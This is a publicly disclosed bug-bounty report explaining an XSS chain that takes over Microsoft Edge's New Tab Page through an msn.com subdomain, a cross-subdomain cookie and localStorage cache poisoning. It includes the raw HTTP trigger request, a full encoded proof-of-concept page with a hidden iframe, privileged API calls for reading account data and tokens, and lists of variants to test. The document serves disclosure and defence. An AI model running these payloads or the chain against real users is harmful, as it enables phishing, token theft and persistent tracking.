Running Burp Suite against the broken page, the researcher found that a cookie named 'domainId', discovered with ParamMiner, is reflected inside a script tag in the broken NTP page, and not in the normal NTP page. A cookie is a small piece of data a website asks your browser to store and send back with every later request to that site; a script tag is an HTML element that tells the browser to run Javascript. Reflected means the value you supplied comes back in the page. There is no sanitisation as far as quotes go, so code can be injected through this cookie variable: if the value is placed inside a quoted string in a script, a value containing a quote can break out of the string and add its own code.

Cookies can be set so that they are visible in all subdomains of a given host. A subdomain is a prefix on a domain name, so technology.za.msn.com is a subdomain of msn.com. That means an XSS in any MSN subdomain is enough to set the cookie, and then get Javascript execution in the broken NTP page.

Reconnaissance, the information-gathering phase, found such an XSS within 'http://technology.za.msn.com', an old forgotten subdomain using very old technologies, now removed. A specially crafted POST request, that is, a request that sends data to the server rather than just asking for a page, results in an error message that reflects the variable value that caused the error without sanitisation. The XSS is triggered using the following HTTP request:

HTTP
POST /pebble.asp?relid=172 HTTP/1.1
Host: technology.za.msn.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://technology.za.msn.com
Connection: close
Referer: http://technology.za.msn.com/pebble.asp?relid=172
Cookie: PublisherUserProfile=userprofileid=322220CC%2D9964%2D47F9%2DAE30%2D2222258E99A4; PublisherSession=uid=DIN2DWDWDFWWW7L3OHA5N6; ASPSESSIONIDSCCQSRDS=EOJQQDDFGGGEEPCPNFOBL; _ga=GA1.q.21062224016.4569609491; _gid=GA1.q.1840897607.1569609491; _gat=1; __utma=2qq77qq6.21qqqq4016.156qqqq9491.156960qqq.qqqqqq91.1; __utmb=201977236.1.10.1569609491; __utmc=201977236; __utmz=201977236.1569609491.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __gads=ID=qqqq5dd817qqqb4:T=1562229492:S=[redacted]
Upgrade-Insecure-Requests: 1

startnum=90'<b>xss</b>

Line by line: the first line says this is a POST request for the path /pebble.asp?relid=172 using HTTP version 1.1. Host names the server. User-Agent identifies the browser that sent it. Accept, Accept-Language and Accept-Encoding say what kinds of content and compression the browser can handle. Content-Type says the body is form data, and Content-Length says it is 20 bytes long. Origin and Referer say which page the request came from. Connection: close asks the server to close the connection afterwards. The Cookie header carries the cookies the browser already holds for this site; the values here are session identifiers and analytics cookies, and they are shown as they appear in the report. Upgrade-Insecure-Requests: 1 asks the server to prefer secure connections. After the blank line comes the body: startnum=90'<b>xss</b>, a form field named startnum whose value is 90, then a single quote, then the HTML tag <b>xss</b>.

The only downside is that the server takes around 42 seconds to respond when an error occurs. After the response, '<b>xss</b>' is reflected and rendered, meaning the browser shows the word xss in bold rather than showing the tag as text. Replacing that with a common XSS vector, a known snippet that runs Javascript, results in Javascript execution. There is no 'X-FRAME-OPTIONS' header, a response header that tells browsers whether a page may be embedded in a frame on another site, so the page can be embedded in an 'IFRAME' on the attacker's own website and the POST request can be performed on a hidden 'IFRAME', leaving a potential victim oblivious to what is happening.

Step 4: from the broken NTP to the normal NTP

This XSSes the broken NTP website, not the default, normal NTP, because that one is cached. The normal NTP is cached using an entry in 'localStorage', a storage area inside the browser where a website can keep data on the user's machine and read it back later. Both the broken and the normal NTP pages are same origin, meaning the browser treats them as the same website because they share scheme, host and port, so one can read and write the other's storage. The researcher could therefore access the localStorage entry and add the final Javascript code into the cached HTML, taking over the NTP page.

Step 5: what a taken-over NTP can do

The crash had already been fixed by this point, but the NTP page is privileged, so interesting functions are reachable. The researcher lists:

  1. Ask the Edge user to log in using their Microsoft account. The NTP is the perfect place for this, as the user trusts it.
  2. Access 'chrome.authPrivate.acquireAccessTokenSilently', which can potentially leak access tokens of the user and perform actions as them. An access token is a short string that proves to a service who you are, like a temporary key.
  3. Leak private user information using 'chrome.authPrivate.getPrimaryAccountInfo(e=>{console.dir(e)})', revealing email address and account number.
  4. Trick the user into accessing local files using 'chrome.embeddedSearch.searchBox.paste("file:///C://")', which requires tricking the user into pressing enter.
  5. Edit the top sites in the NTP using 'chrome.embeddedSearch.newTabPage.updateCustomLink(i,"http://www.g.com","http://www.g.com")', where i runs from 0 to 9999 in a loop, to ensure all of them are edited.
  6. Change all and any NTP preferences the user may have set using 'chrome.ntpSettingsPrivate.setPref'.
  7. Persistent tracking and faking of MSN content. Because the bug results in a persistent takeover of the NTP, it could be used to track user activity, by checking when they open the NTP or going through the saved top sites, and to inject fake ads as many malicious WebExtensions do. A WebExtension is a browser add-on.

The researcher notes that some of these are a bit of a stretch.

Step 6: the full attack chain

  1. The potential victim visits the malicious website.
  2. The malicious website sends the XSS payload using a POST request to 'technology.za.msn.com' within a hidden 'IFRAME'.
  3. The 'IFRAME' loads after about 42 seconds and the XSS payload is triggered in 'technology.za.msn.com'.
  4. The XSS in 'technology.za.msn.com' creates a cookie with the 'domain=.msn.com' directive, named 'domainId', containing the second payload. The directive is what makes the cookie visible to every subdomain of msn.com.
  5. The victim is redirected to the broken NTP page 'https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz' when the 'onload' of the hidden 'IFRAME' fires.
  6. Once that page is loaded, the XSS payload within the 'domainId' cookie is reflected and rendered.
  7. The cookie XSS payload looks into the 'localStorage' and inserts the final payload at the start of the cached HTML code.

At that point the NTP has been taken over, and when the user opens a new tab the final payload is triggered consistently. Microsoft paid $15,000 for this one.

Step 7: the final proof of concept

A lot of encoding is used because of character limitations as far as the 'domainId' cookie goes: a cookie value cannot contain just any character, so the payload is written in a form that survives the trip.

HTML
<html>
<head>

<body>
<iframe src="about:blank" id="qframe" name="msn" style="opacity:0.001"></iframe>
<h1>Loading...(ETA 42secs)</h2>
<form id="qform" target="msn" action="http://technology.za.msn.com/pebble.asp?relid=172" method="post">
<!--
Encoded payload (Executes in 'technology.za.msn.com')
---------------------------------------------------------------------
(qd = new Date()).setMonth(qd.getMonth() + 12);
document.cookie = "domainId=" +
				  ('q"*'
				  + unescape('%71%22%2a%66%75%6e%63%74%69%6f%6e%28%29%7b%66%6f%72%28%71%20%69%6e%20%6c%6f%63%61%6c%53%74%6f%72%61%67%65%29%7b%69%66%28%71%2e%69%6e%64%65%78%4f%66%28%27%6c%61%73%74%4b%6e%6f%77%6e%27%29%3e%2d%31%29%7b%77%69%74%68%28%71%6e%74%70%6f%62%6a%3d%4a%53%4f%4e%2e%70%61%72%73%65%28%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%29%29%7b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%3d%75%6e%65%73%63%61%70%65%28%27%25%33%63%25%35%33%25%37%36%25%34%37%25%32%66%25%34%66%25%36%65%25%34%63%25%36%66%25%34%31%25%36%34%25%33%64%25%32%37%25%36%34%25%36%66%25%36%33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34%25%32%65%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%32%66%25%34%30%25%37%31%25%36%31%25%36%32%25%32%66%25%32%65%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%39%25%32%37%25%33%65%27%29%2b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%7d%77%69%74%68%28%71%61%62%3d%71%6e%74%70%6f%62%6a%29%7b%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%3d%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%71%61%62%29%7d%7d%7d%7d%28%29%2a%22%71')
				  + '*"q')
				  + ";expires="
				  + qd
				  + ";domain=.msn.com;path=/";
---------------------------------------------------------------------
unescaped value above (Executes in broken 'ntp.msn.com'), this is all one line and im using with(){} a lot because semicolon not allowed.
---------------------------------------------------------------------
function() {
		for (q in localStorage) {
        if (q.indexOf('lastKnown') > -1) {
            with(qntpobj = JSON.parse(localStorage[q])) {
                qntpobj.dom = unescape('%3c%53%76%47%2f%4f%6e%4c%6f%41%64%3d%27%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%2f%40%71%61%62%2f%2e%73%6f%75%72%63%65%29%27%3e') + qntpobj.dom
            }
            with(qab = qntpobj) {
                localStorage[q] = JSON.stringify(qab)
            }
        }
    }

}()
---------------------------------------------------------------------
unescaped value above (Executes in normal 'ntp.msn.com')
---------------------------------------------------------------------
<SvG/OnLoAd='document.write(/@qab/.source)'>
-->
  <input  type="hidden" name="startnum" value="90'<SvG/onLoAd=eval(unescape('%28%71%64%3d%20%6e%65%77%20%44%61%74%65%28%29%29%2e%73%65%74%4d%6f%6e%74%68%28%71%64%2e%67%65%74%4d%6f%6e%74%68%28%29%20%2b%20%31%32%29%3b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3d%22%64%6f%6d%61%69%6e%49%64%3d%22%2b%28%75%6e%65%73%63%61%70%65%28%27%25%37%31%25%32%32%25%32%61%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%37%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%31%25%32%30%25%36%39%25%36%65%25%32%30%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%32%39%25%37%62%25%36%39%25%36%36%25%32%38%25%37%31%25%32%65%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%34%66%25%36%36%25%32%38%25%32%37%25%36%63%25%36%31%25%37%33%25%37%34%25%34%62%25%36%65%25%36%66%25%37%37%25%36%65%25%32%37%25%32%39%25%33%65%25%32%64%25%33%31%25%32%39%25%37%62%25%37%37%25%36%39%25%37%34%25%36%38%25%32%38%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%33%64%25%34%61%25%35%33%25%34%66%25%34%65%25%32%65%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%32%38%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%35%62%25%37%31%25%35%64%25%32%39%25%32%39%25%37%62%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%65%25%36%34%25%36%66%25%36%64%25%33%64%25%37%35%25%36%65%25%36%35%25%37%33%25%36%33%25%36%31%25%37%30%25%36%35%25%32%38%25%32%37%25%32%35%25%33%33%25%36%33%25%32%35%25%33%35%25%33%33%25%32%35%25%33%37%25%33%36%25%32%35%25%33%34%25%33%37%25%32%35%25%33%32%25%36%36%25%32%35%25%33%34%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%34%25%36%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%34%25%33%31%25%32%35%25%33%36%25%33%34%25%32%35%25%33%33%25%36%34%25%32%35%25%33%32%25%33%37%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%37%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%38%25%32%35%25%33%32%25%36%36%25%32%35%25%33%34%25%33%30%25%32%35%25%33%37%25%33%31%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%33%32%25%32%35%25%33%32%25%36%36%25%32%35%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%37%25%32%35%25%33%33%25%36%35%25%32%37%25%32%39%25%32%62%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%65%25%36%34%25%36%66%25%36%64%25%37%64%25%37%37%25%36%39%25%37%34%25%36%38%25%32%38%25%37%31%25%36%31%25%36%32%25%33%64%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%39%25%37%62%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%35%62%25%37%31%25%35%64%25%33%64%25%34%61%25%35%33%25%34%66%25%34%65%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%36%39%25%36%36%25%37%39%25%32%38%25%37%31%25%36%31%25%36%32%25%32%39%25%37%64%25%37%64%25%37%64%25%37%64%25%32%38%25%32%39%25%32%61%25%32%32%25%37%31%27%29%29%2b%22%3b%65%78

Line by line, at the level that matters: the <iframe> with id="qframe" and name="msn" is the hidden frame, made almost invisible with style="opacity:0.001". The <h1>Loading...(ETA 42secs)</h2> is a message for the victim, telling them to wait. The <form> with id="qform", target="msn" and action="http://technology.za.msn.com/pebble.asp?relid=172" is set up to send a POST to the vulnerable page, and target="msn" makes the response open inside the hidden frame rather than the main window. Everything between <!-- and --> is a comment, ignored by the browser; it documents the two payloads. The hidden <input> named startnum carries the encoded payload that fires in technology.za.msn.com. That payload builds the domainId cookie with domain=.msn.com and an expiry twelve months out, containing the second, encoded payload. The second payload runs in the broken NTP page, walks localStorage looking for an entry whose name contains lastKnown, prepends an SVG onload that writes the source of /@qab/ into the cached dom, and writes the modified object back. The final payload then executes in the normal NTP page. In the script at the bottom, qframe.onload runs when the hidden frame finishes loading and, after a one second delay set by setTimeout, sends the victim to the broken NTP page; qform.submit() starts the POST.

This is the full attack, so feel free to skip the 42 seconds in the middle:

From the original on leucosite.com

References

Text
https://twitter.com/spoofyroot/status/1171654526648094720

Root cause

The chain rests on three separate mistakes. First, the NTP top sites section takes the title of any visited site and inserts it into the page without sanitising it, so a page title containing HTML and Javascript runs in the privileged NTP context. Second, the broken NTP page reflects the domainId cookie inside a script tag without sanitising quotes, and because cookies can be scoped to a parent domain, any XSS on any MSN subdomain can plant that cookie; the old technology.za.msn.com reflected the startnum value in an error message without sanitisation and sent no X-FRAME-OPTIONS header, so the request could be driven from a hidden frame. Third, the privileged chrome.qbox.navigate function accepted an object with id:999999 and url:null and crashed with an access violation. The normal NTP being cached in localStorage did not help, since the broken and normal pages share an origin and the cached HTML could be edited.

Impact

From ordinary web content an attacker could reach a privileged page, and through chrome.qbox.navigate produce an exploitable crash, which the researcher describes as potential RCE. With the NTP takeover, an attacker could phish for Microsoft account login on a trusted page, potentially leak access tokens through chrome.authPrivate.acquireAccessTokenSilently, read the primary account email address and account number, trick the user into pasting a local file path, rewrite top sites and NTP preferences, and persistently track activity or inject fake ads. The researcher hedges that some of these are a stretch. The takeover is persistent: the payload fires every time the user opens a new tab. The XSS and crash were paid $15,000 and $10,000 respectively, and the NTP takeover $15,000, for $40,000 in total.

Fix

The report does not describe the fixes Microsoft applied. The crash was fixed by the time the NTP takeover was reported, and technology.za.msn.com has since been removed. What should change, based on the chain: sanitise or text-encode site titles before rendering them in the NTP top sites, encode the domainId cookie value where it is reflected into the script tag, sanitise error message reflections such as startnum, send X-FRAME-OPTIONS on that host, and validate the qbox.NavigationItem object inside chrome.qbox.navigate rather than dereferencing attacker-controlled values.

Variants to test

  1. On any browser with a server-hosted new tab page, set a page title containing HTML and Javascript, then open a new tab. A positive result is the markup rendering, or script executing, in the NTP.
  2. Enumerate the chrome object on privileged pages such as edge://settings/profiles and compare it with the object on a normal website. A positive result is extra functions reachable from web content.
  3. Fuzz undocumented privileged functions such as chrome.qbox.navigate with boundary values (id:999999, url:null) and watch for crashes. A positive result is a crash dump with an access violation and a non-null-looking fault address.
  4. Request the broken NTP variant with unusual query parameters and compare its source with the cached normal page. A positive result is a parameter or cookie reflected inside a script tag without quote encoding.
  5. Use ParamMiner against the broken page to find reflected cookie names such as domainId. A positive result is a cookie value appearing in the response body.
  6. Hunt for XSS on any subdomain of the parent domain used by the privileged page, then set a cookie with domain=.parent. A positive result is the cookie being reflected and executed on the privileged page.
  7. Send malformed POST bodies to old ASP endpoints and inspect error pages. A positive result is the submitted value reflected and rendered without encoding, with no X-FRAME-OPTIONS header.
  8. Inspect localStorage entries used to cache privileged pages and check whether a same-origin page can modify them. A positive result is attacker markup persisted into the cached HTML and executed on the next load.

Glossary

  • Access token: a short string that proves to a service who you are, like a temporary key.
  • Access violation: a crash caused by a program trying to read or write memory it is not allowed to touch.
  • ASP: an old Microsoft technology for building web pages on the server.
  • Attack surface: the total set of places in a product that an attacker can try to reach.
  • Bug bounty: a program that pays people for finding and reporting security problems.
  • Cache: a stored copy of something, kept so it can be served faster next time.
  • Chromium: the open source browser engine that Google Chrome and the new Microsoft Edge are built on.
  • Collections: an Edge feature that saves a website with its title, description and image, shown like a Twitter card.
  • Cookie: a small piece of data a website asks your browser to store and send back with later requests to that site.
  • Cross-site scripting (XSS): a bug where an attacker gets their own code to run inside a page they do not control, in that page's security context.
  • Crashdump: a file Windows writes recording the state of a program that crashed.
  • Debugger: a tool for inspecting a running or crashed program instruction by instruction.
  • Directive (cookie): an instruction attached to a cookie, such as which domain it belongs to or when it expires.
  • Elevation of Privilege (EoP): getting your code to run with more power than the context you started in.
  • Exploitable crash: a crash that an attacker can turn into running their own code, rather than just stopping the program.
  • Flag: a hidden setting that switches on an unfinished or experimental feature.
  • Fuzz: to feed a program many unusual inputs and watch for crashes or odd behaviour.
  • HTML: the language web pages are written in, using tags to describe structure and content.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • IFRAME: a page-within-a-page element in HTML.
  • Javascript: the programming language that runs inside web pages.
  • JSON: a plain text way of writing bundles of named values.
  • localStorage: a storage area inside the browser where a website can keep data on the user's machine.
  • MSRC: Microsoft Security Response Center, Microsoft's security team and reporting portal.
  • Near NULL: a crash caused by using a memory address close to zero, usually not exploitable.
  • New Tab Page (NTP): the page shown when a browser opens or a new tab is opened.
  • Object: a bundle of named values in Javascript.
  • Origin: the combination of scheme, host and port that the browser uses to decide whether two pages are the same website.
  • Parameter: a named value sent to a server, in a URL or in a request body.
  • Phishing: tricking someone into entering their credentials on a page that looks trustworthy.
  • POST request: an HTTP request that sends data to the server rather than just asking for a page.
  • Privileged page: a page allowed to use browser features that ordinary websites cannot.
  • Proof of concept (PoC): a small demonstration that a bug is real.
  • Reconnaissance: the information-gathering phase of an attack.
  • Reflected: a value you supplied that comes back in the server's response.
  • Register: a small, very fast storage slot inside a processor.
  • Remote code execution (RCE): an attacker making the victim's computer run code of the attacker's choosing.
  • Sanitise: clean input so that any HTML or Javascript in it is treated as harmless text.
  • Script tag: an HTML element that tells the browser to run Javascript.
  • Subdomain: a prefix on a domain name, such as technology.za in technology.za.msn.com.
  • SVG: a format for drawing images in HTML, which can carry event handlers like onload.
  • Top site: a shortcut the NTP shows for a frequently or recently visited page.
  • Twitter card: a small preview box with a heading, some text and a picture.
  • Web application pentesting: probing a website for security flaws.
  • WebExtension: a browser add-on.
  • X-FRAME-OPTIONS: a response header that tells browsers whether a page may be embedded in a frame on another site.

More by Abdulrahman Alqabandi

View all

4 more disclosed reports, best first.

More from Microsoft

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.